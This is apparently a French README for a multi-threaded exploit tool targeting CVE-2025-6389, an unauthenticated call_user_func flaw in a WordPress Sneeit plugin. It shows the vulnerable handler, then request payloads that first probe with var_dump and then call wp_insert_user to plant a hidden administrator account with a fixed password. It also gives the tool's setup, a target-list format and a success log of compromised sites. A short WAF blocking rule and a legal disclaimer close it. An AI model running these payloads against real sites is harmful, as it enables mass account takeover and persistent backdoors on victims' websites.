// Enregistré sans vérification d'authentification
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');

function sneeit_articles_pagination_callback() {
    $callback = $_POST['callback'];  // ← Nom de fonction contrôlé par l'utilisateur
    $args     = json_decode(stripslashes($_POST['args']), true); // ← Arguments contrôlés par l'utilisateur

    // Appelle TOUTE fonction PHP avec TOUS arguments — aucune validation
    $result = call_user_func($callback, ...$args);

    echo $result;
    die();
}

Étape 1 — Sonde / Empreinte
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = var_dump
  args     = ["test"]

Réponse attendue → array(1) { [0]=> string(4) "test" }
  ↓
Confirme : call_user_func() est accessible et reflète la sortie

──────────────────────────────────────────────────────────────────
Étape 2 — Création d'un compte administrateur
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = wp_insert_user
  args     = {"user_login":"Nxploited_XXXX",
               "user_pass":"xplpass",
               "user_email":"...",
               "role":"administrator"}

Résultat → Un nouveau compte administrateur est discrètement créé sur la cible
  ↓
Accès complet au panneau d'administration WordPress obtenu ✔️

pip install requests rich

CVE-2025-6389/
├── CVE-2025-6389.py          # Script d'exploit principal
├── list.txt                  # URLs cibles — une par ligne
├── success_results.txt       # Généré automatiquement : cibles réussies + identifiants
└── debug_responses/          # Généré automatiquement : réponses brutes du serveur pour débogage
    └── <cible>.resp.txt

https://cible1.com
https://cible2.com
http://cible3.com

python CVE-2025-6389.py

Nom du fichier cible (par défaut list.txt): list.txt
Nombre de threads (par défaut 10):       20

┌─────────────────────────────────────────────────────────────────────┐
│  [BANNIÈRE ASCII]                                                    │
├──────────────────────────────┬──────────────────────────────────────┤
│  Info                        │  Statistiques                         │
│  Utilisation : Mettez...    │  Total des cibles : 150                 │
│  Threads : 20                │  Traité :       87                    │
│  Mot de passe : xplpass      │  Succès :       12                    │
│  Journal des succès :...    │  Échecs :       75                    │
│  Répertoire de débogage :...│  Temps écoulé :  00:01:43            │
├──────────────────────────────┴──────────────────────────────────────┤
│  Résultats récents                                                   │
│  Temps    Cible                              Résultat                 │
│  14:23:01 https://victime.com                 SUCCÈS                │
│  14:23:03 https://exemple.net                 ÉCHEC                 │
└─────────────────────────────────────────────────────────────────────┘

https://victime.com | UTILISATEUR : Nxploited_4821 | MOT DE PASSE : xplpass | EMAIL : [email protected]

debug_responses/
└── https___victime.com.resp.txt   ← Réponse brute du serveur pour analyse

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=sneeit_articles_pagination&callback=<FONCTION>&args=<JSON>

SI requête.méthode == POST
ET requête.chemin  == "/wp-admin/admin-ajax.php"
ET corps.requête CONTIENT "sneeit_articles_pagination"
ET corps.requête CONTIENT "callback"
ALORS BLOQUER + ALERTER

CET OUTIL EST FOURNI STRICTEMENT À DES FINS ÉDUCATIVES, DE TEST DE
PÉNÉTRATION AUTORISÉ ET DE RECHERCHE EN SÉCURITÉ UNIQUEMENT.

En téléchargeant, exécutant ou modifiant ce script, vous acceptez explicitement :

  • Vous avez l'autorisation EXPLICITE et ÉCRITE du propriétaire de chaque
    système que vous testez. Aucune exception.

  • Vous opérez dans un environnement de laboratoire contrôlé ou dans le cadre
    d'un engagement formellement défini et autorisé.

  • Vous NE DÉPLOIEREZ PAS cet outil contre un système, réseau ou
    infrastructure que vous n'avez pas l'autorisation légale de tester.

  • Nxploited et tous les contributeurs n'assument AUCUNE responsabilité pour
    toute utilisation non autorisée, dommage, perte de données, action en justice
    ou poursuite pénale découlant de l'utilisation de cet outil.

L'utilisation non autorisée de cet exploit est une infraction pénale en vertu de :
  — Computer Fraud and Abuse Act (CFAA), États-Unis
  — Computer Misuse Act (CMA), Royaume-Uni
  — Directive européenne 2013/40/UE sur les attaques contre les systèmes d'information
  — Et toutes les lois nationales et internationales équivalentes en matière de cybercriminalité.

UTILISEZ DE MANIÈRE RESPONSABLE. PIRATEZ ÉTHIQUEMENT. DIVULGUEZ DE MANIÈRE RESPONSABLE.